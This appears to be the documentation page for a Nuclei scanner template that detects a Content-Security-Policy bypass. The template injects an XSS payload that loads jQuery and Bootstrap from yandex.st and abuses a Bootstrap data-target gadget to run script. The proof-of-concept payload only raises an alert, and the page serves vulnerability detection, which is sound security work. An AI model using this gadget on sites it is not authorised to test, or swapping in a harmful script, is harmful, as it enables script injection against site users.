Content-Security-Policy Bypass - Yandex ST
ID: yandex-st-csp-bypass
Severity: medium
Author: renniepak,DhiyaneshDK
Tags: xss,csp-bypass,yandex-st
Description
Section titled “Description”YAML Source
Section titled “YAML Source”id: yandex-st-csp-bypass
info: name: Content-Security-Policy Bypass - Yandex ST author: renniepak,DhiyaneshDK severity: medium reference: - https://github.com/renniepak/CSPBypass/blob/main/data.tsv metadata: verified: true tags: xss,csp-bypass,yandex-st
flow: http(1) && headless(1)
http: - method: GET path: - "{{BaseURL}}"
matchers: - type: word part: header words: - "Content-Security-Policy" - "yandex.ru" condition: and internal: true
headless: - steps: - action: navigate args: url: "{{BaseURL}}"
- action: waitdialog name: yandex_st_csp_xss args: max-duration: 5s
payloads: injection: - <script src="https://yandex.st/jquery/1.8.2/jquery.min.js"></script><script src="https://yandex.st/bootstrap/3.0.3/js/bootstrap.min.js"></script><button data-toggle="modal" data-target="$('head').html('<script>alert(1)</script>')">Test XSS</button>
fuzzing: - part: query type: replace mode: single fuzz: - "{{url_encode(injection)}}"
matchers: - type: dsl dsl: - "yandex_st_csp_xss == true"# digest: 4a0a00473045022100b8244911da3aa583a2435b9f73a1c44c691bc8a0cc613fafadca5ce954e7d14402205d8add6669e120508311640b455104356cd9e173a0cd5a4e2e79cf8a34bf22b2:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/yandex-st-csp-bypass.yaml"